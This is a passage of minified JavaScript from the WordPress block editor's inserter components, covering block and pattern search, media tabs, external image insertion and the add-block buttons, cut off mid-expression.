MB=function({onSelectCategory:e,selectedCategory:t,onInsert:n,rootClientId:o,children:r}){const[i,s]=(0,h.useState)(!1),l=vB(o),a=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return l.length?(0,d.jsxs)(d.Fragment,{children:[!a&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__block-patterns-tabs-container&quot;,children:[(0,d.jsx)(TB,{categories:l,selectedCategory:t,onSelectCategory:e,children:r}),(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-inserter__patterns-explore-button&quot;,onClick:()=&gt;s(!0),variant:&quot;secondary&quot;,children:(0,T.__)(&quot;Explore all patterns&quot;)})]}),a&amp;&amp;(0,d.jsx)(SB,{categories:l,children:e=&gt;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__category-panel&quot;,children:(0,d.jsx)(jB,{onInsert:n,rootClientId:o,category:e},e.name)})}),i&amp;&amp;(0,d.jsx)(yB,{initialCategory:t||l[0],patternCategories:l,onModalClose:()=&gt;s(!1),rootClientId:o})]}):(0,d.jsx)(RC,{})},PB=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M19.5 4.5h-7V6h4.44l-5.97 5.97 1.06 1.06L18 7.06v4.44h1.5v-7Zm-13 1a2 2 0 0 0-2 2v10a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2v-3H17v3a.5.5 0 0 1-.5.5h-10a.5.5 0 0 1-.5-.5v-10a.5.5 0 0 1 .5-.5h3V5.5h-3Z&quot;})});const RB={image:&quot;img&quot;,video:&quot;video&quot;,audio:&quot;audio&quot;};function AB(e,t){const n={id:e.id||void 0,caption:e.caption||void 0},o=e.url,r=e.alt||void 0;&quot;image&quot;===t?(n.url=o,n.alt=r):[&quot;video&quot;,&quot;audio&quot;].includes(t)&amp;&amp;(n.src=o);const i=RB[t],s=(0,d.jsx)(i,{src:e.previewUrl||o,alt:r,controls:&quot;audio&quot;===t||void 0,inert:&quot;true&quot;,onError:({currentTarget:t})=&gt;{t.src===e.previewUrl&amp;&amp;(t.src=o)}});return[(0,p.createBlock)(`core/${t}`,n),s]}const NB=[&quot;image&quot;],LB={placement:&quot;bottom-end&quot;,className:&quot;block-editor-inserter__media-list__item-preview-options__popover&quot;};function DB({category:e,media:t}){if(!e.getReportUrl)return null;const n=e.getReportUrl(t);return(0,d.jsx)(Ss.DropdownMenu,{className:&quot;block-editor-inserter__media-list__item-preview-options&quot;,label:(0,T.__)(&quot;Options&quot;),popoverProps:LB,icon:mv,children:()=&gt;(0,d.jsx)(Ss.MenuGroup,{children:(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;window.open(n,&quot;_blank&quot;).focus(),icon:PB,children:(0,T.sprintf)((0,T.__)(&quot;Report %s&quot;),e.mediaType)})})})}function OB({onClose:e,onSubmit:t}){return(0,d.jsxs)(Ss.Modal,{title:(0,T.__)(&quot;Insert external image&quot;),onRequestClose:e,className:&quot;block-editor-inserter-media-tab-media-preview-inserter-external-image-modal&quot;,children:[(0,d.jsxs)(Ss.__experimentalVStack,{spacing:3,children:[(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;This image cannot be uploaded to your Media Library, but it can still be inserted as an external image.&quot;)}),(0,d.jsx)(&quot;p&quot;,{children:(0,T.__)(&quot;External images can be removed by the external provider without warning and could even have legal compliance issues related to privacy legislation.&quot;)})]}),(0,d.jsxs)(Ss.Flex,{className:&quot;block-editor-block-lock-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:e,children:(0,T.__)(&quot;Cancel&quot;)})}),(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:t,children:(0,T.__)(&quot;Insert&quot;)})})]})]})}function zB({media:e,onClick:t,category:n}){const[o,r]=(0,h.useState)(!1),[i,s]=(0,h.useState)(!1),[l,a]=(0,h.useState)(!1),[c,u]=(0,h.useMemo)((()=&gt;AB(e,n.mediaType)),[e,n.mediaType]),{createErrorNotice:m,createSuccessNotice:f}=(0,g.useDispatch)(dr.store),{getSettings:b,getBlock:k}=(0,g.useSelect)(Ii),{updateBlockAttributes:v}=(0,g.useDispatch)(Ii),_=(0,h.useCallback)((e=&gt;{if(l)return;const n=b(),o=(0,p.cloneBlock)(e),{id:i,url:s,caption:c}=o.attributes;i||n.mediaUpload?i?t(o):(a(!0),window.fetch(s).then((e=&gt;e.blob())).then((e=&gt;{const r=(0,Ha.getFilename)(s)||&quot;image.jpg&quot;,i=new File([e],r,{type:e.type});n.mediaUpload({filesList:[i],additionalData:{caption:c},onFileChange([e]){(0,Ga.isBlobURL)(e.url)||(k(o.clientId)?v(o.clientId,{...o.attributes,id:e.id,url:e.url}):(t({...o,attributes:{...o.attributes,id:e.id,url:e.url}}),f((0,T.__)(&quot;Image uploaded and inserted.&quot;),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;})),a(!1))},allowedTypes:NB,onError(e){m(e,{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;}),a(!1)}})})).catch((()=&gt;{r(!0),a(!1)}))):r(!0)}),[l,b,t,f,v,m,k]),y=&quot;string&quot;==typeof e.title?e.title:e.title?.rendered||(0,T.__)(&quot;no title&quot;),x=(0,h.useCallback)((()=&gt;s(!0)),[]),S=(0,h.useCallback)((()=&gt;s(!1)),[]);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(SC,{isEnabled:!0,blocks:[c],children:({draggable:t,onDragStart:o,onDragEnd:r})=&gt;(0,d.jsx)(&quot;div&quot;,{className:gs(&quot;block-editor-inserter__media-list__list-item&quot;,{&quot;is-hovered&quot;:i}),draggable:t,onDragStart:o,onDragEnd:r,children:(0,d.jsxs)(&quot;div&quot;,{onMouseEnter:x,onMouseLeave:S,children:[(0,d.jsx)(Ss.Tooltip,{text:y,children:(0,d.jsx)(Ss.Composite.Item,{render:(0,d.jsx)(&quot;div&quot;,{&quot;aria-label&quot;:y,role:&quot;option&quot;,className:&quot;block-editor-inserter__media-list__item&quot;}),onClick:()=&gt;_(c),children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__media-list__item-preview&quot;,children:[u,l&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__media-list__item-preview-spinner&quot;,children:(0,d.jsx)(Ss.Spinner,{})})]})})}),!l&amp;&amp;(0,d.jsx)(DB,{category:n,media:e})]})})}),o&amp;&amp;(0,d.jsx)(OB,{onClose:()=&gt;r(!1),onSubmit:()=&gt;{t((0,p.cloneBlock)(c)),f((0,T.__)(&quot;Image inserted.&quot;),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;}),r(!1)}})]})}var VB=function({mediaList:e,category:t,onClick:n,label:o=(0,T.__)(&quot;Media List&quot;)}){return(0,d.jsx)(Ss.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-inserter__media-list&quot;,&quot;aria-label&quot;:o,children:e.map(((e,o)=&gt;(0,d.jsx)(zB,{media:e,category:t,onClick:n},e.id||e.sourceId||o)))})};function FB({rootClientId:e,onInsert:t,category:n}){const[o,r,i]=(0,m.useDebouncedInput)(),{mediaList:s,isLoading:l}=function(e,t={}){const[n,o]=(0,h.useState)(),[r,i]=(0,h.useState)(!1),s=(0,h.useRef)();return(0,h.useEffect)((()=&gt;{(async()=&gt;{const n=JSON.stringify({category:e.name,...t});s.current=n,i(!0),o([]);const r=await(e.fetch?.(t));n===s.current&amp;&amp;(o(r),i(!1))})()}),[e.name,...Object.values(t)]),{mediaList:n,isLoading:r}}(n,{per_page:i?20:10,search:i}),a=&quot;block-editor-inserter__media-panel&quot;,c=n.labels.search_items||(0,T.__)(&quot;Search&quot;);return(0,d.jsxs)(&quot;div&quot;,{className:a,children:[(0,d.jsx)(Ss.SearchControl,{__nextHasNoMarginBottom:!0,className:`${a}-search`,onChange:r,value:o,label:c,placeholder:c}),l&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:`${a}-spinner`,children:(0,d.jsx)(Ss.Spinner,{})}),!l&amp;&amp;!s?.length&amp;&amp;(0,d.jsx)(RC,{}),!l&amp;&amp;!!s?.length&amp;&amp;(0,d.jsx)(VB,{rootClientId:e,onClick:t,mediaList:s,category:n})]})}const HB=[&quot;image&quot;,&quot;video&quot;,&quot;audio&quot;];var UB=function({rootClientId:e,selectedCategory:t,onSelectCategory:n,onInsert:o,children:r}){const i=function(e){const[t,n]=(0,h.useState)([]),o=(0,g.useSelect)((e=&gt;U(e(Ii)).getInserterMediaCategories()),[]),{canInsertImage:r,canInsertVideo:i,canInsertAudio:s}=(0,g.useSelect)((t=&gt;{const{canInsertBlockType:n}=t(Ii);return{canInsertImage:n(&quot;core/image&quot;,e),canInsertVideo:n(&quot;core/video&quot;,e),canInsertAudio:n(&quot;core/audio&quot;,e)}}),[e]);return(0,h.useEffect)((()=&gt;{(async()=&gt;{const e=[];if(!o)return;const t=new Map(await Promise.all(o.map((async e=&gt;{if(e.isExternalResource)return[e.name,!0];let t=[];try{t=await e.fetch({per_page:1})}catch(e){}return[e.name,!!t.length]})))),l={image:r,video:i,audio:s};o.forEach((n=&gt;{l[n.mediaType]&amp;&amp;t.get(n.name)&amp;&amp;e.push(n)})),e.length&amp;&amp;n(e)})()}),[r,i,s,o]),t}(e),s=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),l=(0,h.useCallback)((e=&gt;{if(!e?.url)return;const[t]=AB(e,e.type);o(t)}),[o]),a=(0,h.useMemo)((()=&gt;i.map((e=&gt;({...e,label:e.labels.name})))),[i]);return a.length?(0,d.jsxs)(d.Fragment,{children:[!s&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__media-tabs-container&quot;,children:[(0,d.jsx)(TB,{categories:a,selectedCategory:t,onSelectCategory:n,children:r}),(0,d.jsx)(Ya,{children:(0,d.jsx)(qa,{multiple:!1,onSelect:l,allowedTypes:HB,render:({open:e})=&gt;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,onClick:t=&gt;{t.target.focus(),e()},className:&quot;block-editor-inserter__media-library-button&quot;,variant:&quot;secondary&quot;,&quot;data-unstable-ignore-focus-outside-for-relatedtarget&quot;:&quot;.media-modal&quot;,children:(0,T.__)(&quot;Open Media Library&quot;)})})})]}),s&amp;&amp;(0,d.jsx)(SB,{categories:a,children:t=&gt;(0,d.jsx)(FB,{onInsert:o,rootClientId:e,category:t})})]}):(0,d.jsx)(RC,{})};const{Fill:GB,Slot:$B}=(0,Ss.createSlotFill)(&quot;__unstableInserterMenuExtension&quot;);GB.Slot=$B;var WB=GB;const KB=(e,t)=&gt;t?(e.sort((({id:e},{id:n})=&gt;{let o=t.indexOf(e),r=t.indexOf(n);return o&lt;0&amp;&amp;(o=t.length),r&lt;0&amp;&amp;(r=t.length),o-r})),e):e,ZB=[];var qB=function({filterValue:e,onSelect:t,onHover:n,onHoverPattern:o,rootClientId:r,clientId:i,isAppender:s,__experimentalInsertionIndex:l,maxBlockPatterns:a,maxBlockTypes:c,showBlockDirectory:u=!1,isDraggable:p=!0,shouldFocusBlock:f=!0,prioritizePatterns:b,selectBlockOnInsert:k,isQuick:v}){const _=(0,m.useDebounce)(Ho.speak,500),{prioritizedBlocks:y}=(0,g.useSelect)((e=&gt;{const t=e(Ii).getBlockListSettings(r);return{prioritizedBlocks:t?.prioritizedInserterBlocks||ZB}}),[r]),[x,S]=WC({onSelect:t,rootClientId:r,clientId:i,isAppender:s,insertionIndex:l,shouldFocusBlock:f,selectBlockOnInsert:k}),[w,C,B,I]=TC(x,S,v),[j,,E]=KC(S,x,void 0,v),M=(0,h.useMemo)((()=&gt;{if(0===a)return[];const t=gB(j,e);return void 0!==a?t.slice(0,a):t}),[e,j,a]);let P=c;b&amp;&amp;M.length&gt;2&amp;&amp;(P=0);const R=(0,h.useMemo)((()=&gt;{if(0===P)return[];let t=yt(w.filter((e=&gt;&quot;core/block&quot;!==e.name)),&quot;frecency&quot;,&quot;desc&quot;);!e&amp;&amp;y.length&amp;&amp;(t=KB(t,y));const n=hB(t,C,B,e);return void 0!==P?n.slice(0,P):n}),[e,w,C,B,P,y]);(0,h.useEffect)((()=&gt;{if(!e)return;const t=R.length+M.length,n=(0,T.sprintf)((0,T._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,t),t);_(n)}),[e,_,R,M]);const A=(0,m.useAsyncList)(R,{step:9}),N=R.length&gt;0||M.length&gt;0,L=!!R.length&amp;&amp;(0,d.jsx)(EC,{title:(0,d.jsx)(Ss.VisuallyHidden,{children:(0,T.__)(&quot;Blocks&quot;)}),children:(0,d.jsx)(jC,{items:A,onSelect:I,onHover:n,label:(0,T.__)(&quot;Blocks&quot;),isDraggable:p})}),D=!!M.length&amp;&amp;(0,d.jsx)(EC,{title:(0,d.jsx)(Ss.VisuallyHidden,{children:(0,T.__)(&quot;Block patterns&quot;)}),children:(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-patterns&quot;,children:(0,d.jsx)(GC,{blockPatterns:M,onClickPattern:E,onHover:o,isDraggable:p})})});return(0,d.jsxs)(PC,{children:[!u&amp;&amp;!N&amp;&amp;(0,d.jsx)(RC,{}),b?D:L,!!R.length&amp;&amp;!!M.length&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-separator&quot;}),b?L:D,u&amp;&amp;(0,d.jsx)(WB.Slot,{fillProps:{onSelect:I,onHover:n,filterValue:e,hasItems:N,rootClientId:x},children:e=&gt;e.length?e:N?null:(0,d.jsx)(RC,{})})]})},YB=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z&quot;})});const{Tabs:XB}=U(Ss.privateApis);var QB=(0,h.forwardRef)((function({defaultTabId:e,onClose:t,onSelect:n,selectedTab:o,tabs:r,closeButtonLabel:i},s){return(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-tabbed-sidebar&quot;,children:(0,d.jsxs)(XB,{selectOnMove:!1,defaultTabId:e,onSelect:n,selectedTabId:o,children:[(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-tabbed-sidebar__tablist-and-close-button&quot;,children:[(0,d.jsx)(Ss.Button,{className:&quot;block-editor-tabbed-sidebar__close-button&quot;,icon:YB,label:i,onClick:()=&gt;t(),size:&quot;compact&quot;}),(0,d.jsx)(XB.TabList,{className:&quot;block-editor-tabbed-sidebar__tablist&quot;,ref:s,children:r.map((e=&gt;(0,d.jsx)(XB.Tab,{tabId:e.name,className:&quot;block-editor-tabbed-sidebar__tab&quot;,children:e.title},e.name)))})]}),r.map((e=&gt;(0,d.jsx)(XB.TabPanel,{tabId:e.name,focusable:!1,className:&quot;block-editor-tabbed-sidebar__tabpanel&quot;,ref:e.panelRef,children:e.panel},e.name)))]})})}));function JB(e=!0){const{setZoomLevel:t,resetZoomLevel:n}=U((0,g.useDispatch)(Ii)),{isZoomedOut:o,isZoomOut:r}=(0,g.useSelect)((e=&gt;{const{isZoomOut:t}=U(e(Ii));return{isZoomedOut:t(),isZoomOut:t}}),[]),i=(0,h.useRef)(!1),s=(0,h.useRef)(e);(0,h.useEffect)((()=&gt;{o!==s.current&amp;&amp;(i.current=!1)}),[o]),(0,h.useEffect)((()=&gt;(s.current=e,e!==r()&amp;&amp;(i.current=!0,e?t(&quot;auto-scaled&quot;):n()),()=&gt;{i.current&amp;&amp;r()&amp;&amp;n()})),[e,r,n,t])}const eI=()=&gt;{};const tI=(0,h.forwardRef)((function({rootClientId:e,clientId:t,isAppender:n,__experimentalInsertionIndex:o,onSelect:r,showInserterHelpPanel:i,showMostUsedBlocks:s,__experimentalFilterValue:l=&quot;&quot;,shouldFocusBlock:a=!0,onPatternCategorySelection:c,onClose:u,__experimentalInitialTab:p,__experimentalInitialCategory:f},b){const{isZoomOutMode:k,hasSectionRootClientId:v}=(0,g.useSelect)((e=&gt;{const{isZoomOut:t,getSectionRootClientId:n}=U(e(Ii));return{isZoomOutMode:t(),hasSectionRootClientId:!!n()}}),[]),[_,y,x]=(0,m.useDebouncedInput)(l),[S,w]=(0,h.useState)(null),[C,B]=(0,h.useState)(f),[I,j]=(0,h.useState)(&quot;all&quot;),[E,M]=(0,h.useState)(null),P=(0,m.useViewportMatch)(&quot;large&quot;),[R,A]=(0,h.useState)(p||(k?&quot;patterns&quot;:&quot;blocks&quot;));JB(v&amp;&amp;(&quot;patterns&quot;===R||&quot;media&quot;===R)&amp;&amp;P);const[N,L,D]=WC({rootClientId:e,clientId:t,isAppender:n,insertionIndex:o,shouldFocusBlock:a}),O=(0,h.useRef)(),z=(0,h.useCallback)(((e,t,n,o)=&gt;{L(e,t,n,o),r(e),window.requestAnimationFrame((()=&gt;{a||O.current?.contains(b.current.ownerDocument.activeElement)||O.current?.querySelector(&quot;button&quot;).focus()}))}),[L,r,a]),V=(0,h.useCallback)(((e,t,...n)=&gt;{D(!1),L(e,{patternName:t},...n),r()}),[L,r]),F=(0,h.useCallback)((e=&gt;{D(e),w(e)}),[D,w]),H=(0,h.useCallback)(((e,t)=&gt;{B(e),j(t),c?.()}),[B,c]),G=&quot;patterns&quot;===R&amp;&amp;!x&amp;&amp;!!C,$=&quot;media&quot;===R&amp;&amp;!!E,W=(0,h.useMemo)((()=&gt;&quot;media&quot;===R?null:(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.SearchControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-inserter__search&quot;,onChange:e=&gt;{S&amp;&amp;w(null),y(e)},value:_,label:(0,T.__)(&quot;Search&quot;),placeholder:(0,T.__)(&quot;Search&quot;)}),!!x&amp;&amp;(0,d.jsx)(qB,{filterValue:x,onSelect:r,onHover:F,rootClientId:e,clientId:t,isAppender:n,__experimentalInsertionIndex:o,showBlockDirectory:!0,shouldFocusBlock:a,prioritizePatterns:&quot;patterns&quot;===R})]})),[R,S,w,y,_,x,r,F,a,t,e,o,n]),K=(0,h.useMemo)((()=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__block-list&quot;,children:(0,d.jsx)(LC,{ref:O,rootClientId:N,onInsert:z,onHover:F,showMostUsedBlocks:s})}),i&amp;&amp;(0,d.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__tips&quot;,children:[(0,d.jsx)(Ss.VisuallyHidden,{as:&quot;h2&quot;,children:(0,T.__)(&quot;A tip for using the block editor&quot;)}),(0,d.jsx)(Wb,{})]})]})),[N,z,F,s,i]),Z=(0,h.useMemo)((()=&gt;(0,d.jsx)(MB,{rootClientId:N,onInsert:V,onSelectCategory:H,selectedCategory:C,children:G&amp;&amp;(0,d.jsx)(jB,{rootClientId:N,onInsert:V,category:C,patternFilter:I,showTitlesAsTooltip:!0})})),[N,V,H,I,C,G]),q=(0,h.useMemo)((()=&gt;(0,d.jsx)(UB,{rootClientId:N,selectedCategory:E,onSelectCategory:M,onInsert:z,children:$&amp;&amp;(0,d.jsx)(FB,{rootClientId:N,onInsert:z,category:E})})),[N,z,E,M,$]),Y=(0,h.useRef)();return(0,h.useLayoutEffect)((()=&gt;{Y.current&amp;&amp;window.requestAnimationFrame((()=&gt;{Y.current.querySelector(&#039;[role=&quot;tab&quot;][aria-selected=&quot;true&quot;]&#039;)?.focus()}))}),[]),(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-inserter__menu&quot;,{&quot;show-panel&quot;:G||$,&quot;is-zoom-out&quot;:k}),ref:b,children:[(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__main-area&quot;,children:(0,d.jsx)(QB,{ref:Y,onSelect:e=&gt;{&quot;patterns&quot;!==e&amp;&amp;B(null),A(e)},onClose:u,selectedTab:R,closeButtonLabel:(0,T.__)(&quot;Close Block Inserter&quot;),tabs:[{name:&quot;blocks&quot;,title:(0,T.__)(&quot;Blocks&quot;),panel:(0,d.jsxs)(d.Fragment,{children:[W,&quot;blocks&quot;===R&amp;&amp;!x&amp;&amp;K]})},{name:&quot;patterns&quot;,title:(0,T.__)(&quot;Patterns&quot;),panel:(0,d.jsxs)(d.Fragment,{children:[W,&quot;patterns&quot;===R&amp;&amp;!x&amp;&amp;Z]})},{name:&quot;media&quot;,title:(0,T.__)(&quot;Media&quot;),panel:(0,d.jsxs)(d.Fragment,{children:[W,q]})}]})}),i&amp;&amp;S&amp;&amp;(0,d.jsx)(Ss.Popover,{className:&quot;block-editor-inserter__preview-container__popover&quot;,placement:&quot;right-start&quot;,offset:16,focusOnMount:!1,animate:!1,children:(0,d.jsx)(vC,{item:S})})]})}));var nI=(0,h.forwardRef)((function(e,t){return(0,d.jsx)(tI,{...e,onPatternCategorySelection:eI,ref:t})}));function oI({onSelect:e,rootClientId:t,clientId:n,isAppender:o,selectBlockOnInsert:r,hasSearch:i=!0}){const[s,l]=(0,h.useState)(&quot;&quot;),[a,c]=WC({onSelect:e,rootClientId:t,clientId:n,isAppender:o,selectBlockOnInsert:r}),[u]=TC(a,c,!0),{setInserterIsOpened:p,insertionIndex:m}=(0,g.useSelect)((e=&gt;{const{getSettings:t,getBlockIndex:o,getBlockCount:r}=e(Ii),i=t(),s=o(n),l=r();return{setInserterIsOpened:i.__experimentalSetIsInserterOpened,insertionIndex:-1===s?l:s}}),[n]),f=i&amp;&amp;u.length&gt;6;(0,h.useEffect)((()=&gt;{p&amp;&amp;p(!1)}),[p]);return(0,d.jsxs)(&quot;div&quot;,{className:gs(&quot;block-editor-inserter__quick-inserter&quot;,{&quot;has-search&quot;:f,&quot;has-expand&quot;:p}),children:[f&amp;&amp;(0,d.jsx)(Ss.SearchControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-inserter__search&quot;,value:s,onChange:e=&gt;{l(e)},label:(0,T.__)(&quot;Search&quot;),placeholder:(0,T.__)(&quot;Search&quot;)}),(0,d.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-results&quot;,children:(0,d.jsx)(qB,{filterValue:s,onSelect:e,rootClientId:t,clientId:n,isAppender:o,maxBlockPatterns:s?2:0,maxBlockTypes:6,isDraggable:!1,selectBlockOnInsert:r,isQuick:!0})}),p&amp;&amp;(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-inserter__quick-inserter-expand&quot;,onClick:()=&gt;{p({filterValue:s,onSelect:e,rootClientId:t,insertionIndex:m})},&quot;aria-label&quot;:(0,T.__)(&quot;Browse all. This will open the main inserter panel in the editor toolbar.&quot;),children:(0,T.__)(&quot;Browse all&quot;)})]})}const rI=({onToggle:e,disabled:t,isOpen:n,blockTitle:o,hasSingleBlockType:r,toggleProps:i={}})=&gt;{const{as:s=Ss.Button,label:l,onClick:a,...c}=i;let u=l;return!u&amp;&amp;r?u=(0,T.sprintf)((0,T._x)(&quot;Add %s&quot;,&quot;directly add the only allowed block&quot;),o):u||(u=(0,T._x)(&quot;Add block&quot;,&quot;Generic label for block inserter button&quot;)),(0,d.jsx)(s,{__next40pxDefaultSize:!i.as||void 0,icon:ac,label:u,tooltipPosition:&quot;bottom&quot;,onClick:function(t){e&amp;&amp;e(t),a&amp;&amp;a(t)},className:&quot;block-editor-inserter__toggle&quot;,&quot;aria-haspopup&quot;:!r&amp;&amp;&quot;true&quot;,&quot;aria-expanded&quot;:!r&amp;&amp;n,disabled:t,...c})};class iI extends h.Component{constructor(){super(...arguments),this.onToggle=this.onToggle.bind(this),this.renderToggle=this.renderToggle.bind(this),this.renderContent=this.renderContent.bind(this)}onToggle(e){const{onToggle:t}=this.props;t&amp;&amp;t(e)}renderToggle({onToggle:e,isOpen:t}){const{disabled:n,blockTitle:o,hasSingleBlockType:r,directInsertBlock:i,toggleProps:s,hasItems:l,renderToggle:a=rI}=this.props;return a({onToggle:e,isOpen:t,disabled:n||!l,blockTitle:o,hasSingleBlockType:r,directInsertBlock:i,toggleProps:s})}renderContent({onClose:e}){const{rootClientId:t,clientId:n,isAppender:o,showInserterHelpPanel:r,__experimentalIsQuick:i,onSelectOrClose:s,selectBlockOnInsert:l}=this.props;return i?(0,d.jsx)(oI,{onSelect:t=&gt;{const n=Array.isArray(t)&amp;&amp;t?.length?t[0]:t;s&amp;&amp;&quot;function&quot;==typeof s&amp;&amp;s(n),e()},rootClientId:t,clientId:n,isAppender:o,selectBlockOnInsert:l}):(0,d.jsx)(nI,{onSelect:()=&gt;{e()},rootClientId:t,clientId:n,isAppender:o,showInserterHelpPanel:r})}render(){const{position:e,hasSingleBlockType:t,directInsertBlock:n,insertOnlyAllowedBlock:o,__experimentalIsQuick:r,onSelectOrClose:i}=this.props;return t||n?this.renderToggle({onToggle:o}):(0,d.jsx)(Ss.Dropdown,{className:&quot;block-editor-inserter&quot;,contentClassName:gs(&quot;block-editor-inserter__popover&quot;,{&quot;is-quick&quot;:r}),popoverProps:{position:e,shift:!0},onToggle:this.onToggle,expandOnMobile:!0,headerTitle:(0,T.__)(&quot;Add a block&quot;),renderToggle:this.renderToggle,renderContent:this.renderContent,onClose:i})}}var sI=(0,m.compose)([(0,g.withSelect)(((e,{clientId:t,rootClientId:n,shouldDirectInsert:o=!0})=&gt;{const{getBlockRootClientId:r,hasInserterItems:i,getAllowedBlocks:s,getDirectInsertBlock:l}=e(Ii),{getBlockVariations:a}=e(p.store),c=s(n=n||r(t)||void 0),u=o&amp;&amp;l(n),d=1===c?.length&amp;&amp;0===a(c[0].name,&quot;inserter&quot;)?.length;let h=!1;return d&amp;&amp;(h=c[0]),{hasItems:i(n),hasSingleBlockType:d,blockTitle:h?h.title:&quot;&quot;,allowedBlockType:h,directInsertBlock:u,rootClientId:n}})),(0,g.withDispatch)(((e,t,{select:n})=&gt;({insertOnlyAllowedBlock(){const{rootClientId:o,clientId:r,isAppender:i,hasSingleBlockType:s,allowedBlockType:l,directInsertBlock:a,onSelectOrClose:c,selectBlockOnInsert:u}=t;if(!s&amp;&amp;!a)return;const{insertBlock:d}=e(Ii);let h;if(a){const e=function(e){const{getBlock:t,getPreviousBlockClientId:i}=n(Ii);if(!e||!r&amp;&amp;!o)return{};const s={};let l={};if(r){const e=t(r),n=t(i(r));e?.name===n?.name&amp;&amp;(l=n?.attributes||{})}else{const e=t(o);if(e?.innerBlocks?.length){const t=e.innerBlocks[e.innerBlocks.length-1];a&amp;&amp;a?.name===t.name&amp;&amp;(l=t.attributes)}}return e.forEach((e=&gt;{l.hasOwnProperty(e)&amp;&amp;(s[e]=l[e])})),s}(a.attributesToCopy);h=(0,p.createBlock)(a.name,{...a.attributes||{},...e})}else h=(0,p.createBlock)(l.name);d(h,function(){const{getBlockIndex:e,getBlockSelectionEnd:t,getBlockOrder:s,getBlockRootClientId:l}=n(Ii);if(r)return e(r);const a=t();return!i&amp;&amp;a&amp;&amp;l(a)===o?e(a)+1:s(o).length}(),o,u),c&amp;&amp;c(h);const g=(0,T.sprintf)((0,T.__)(&quot;%s block added&quot;),l.title);(0,Ho.speak)(g)}}))),(0,m.ifCondition)((({hasItems:e,isAppender:t,rootClientId:n,clientId:o})=&gt;e||!t&amp;&amp;!n&amp;&amp;!o))])(iI);function lI({rootClientId:e,className:t,onFocus:n,tabIndex:o,onSelect:r},i){return(0,d.jsx)(sI,{position:&quot;bottom center&quot;,rootClientId:e,__experimentalIsQuick:!0,onSelectOrClose:(...e)=&gt;{r&amp;&amp;&quot;function&quot;==typeof r&amp;&amp;r(...e)},renderToggle:({onToggle:e,disabled:r,isOpen:s,blockTitle:l,hasSingleBlockType:a})=&gt;{const c=!a,u=a?(0,T.sprintf)((0,T._x)(&quot;Add %s&quot;,&quot;directly add the only allowed block&quot;),l):(0,T._x)(&quot;Add block&quot;,&quot;Generic label for block inserter button&quot;);return(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,ref:i,onFocus:n,tabIndex:o,className:gs(t,&quot;block-editor-button-block-appender&quot;),onClick:e,&quot;aria-haspopup&quot;:c?&quot;true&quot;:void 0,&quot;aria-expanded&quot;:c?s:void 0,disabled:r,label:u,showTooltip:!0,children:(0,d.jsx)(Dl,{icon:ac})})},isAppender:!0})}const aI=(0,h.forwardRef)(((e,t)=&gt;(I()(&quot;wp.blockEditor.ButtonBlockerAppender&quot;,{alternative:&quot;wp.blockEditor.ButtonBlockAppender&quot;,since:&quot;5.9&quot;}),lI(e,t))));var cI=(0,h.forwardRef)(lI);function uI({clientId:e,contentRef:t,parentLayout:n}){const o=(0,g.useSelect)((e=&gt;e(Ii).getSettings().isDistractionFree),[]),r=fh(e);if(o||!r)return null;const i=n?.isManualPlacement&amp;&amp;window.__experimentalEnableGridInteractivity;return(0,d.jsx)(dI,{gridClientId:e,gridElement:r,isManualGrid:i,ref:t})}const dI=(0,h.forwardRef)((({gridClientId:e,gridElement:t,isManualGrid:n},o)=&gt;{const[r,i]=(0,h.useState)((()=&gt;Gb(t))),[s,l]=(0,h.useState)(!1);return(0,h.useEffect)((()=&gt;{const e=()=&gt;i(Gb(t)),n=new 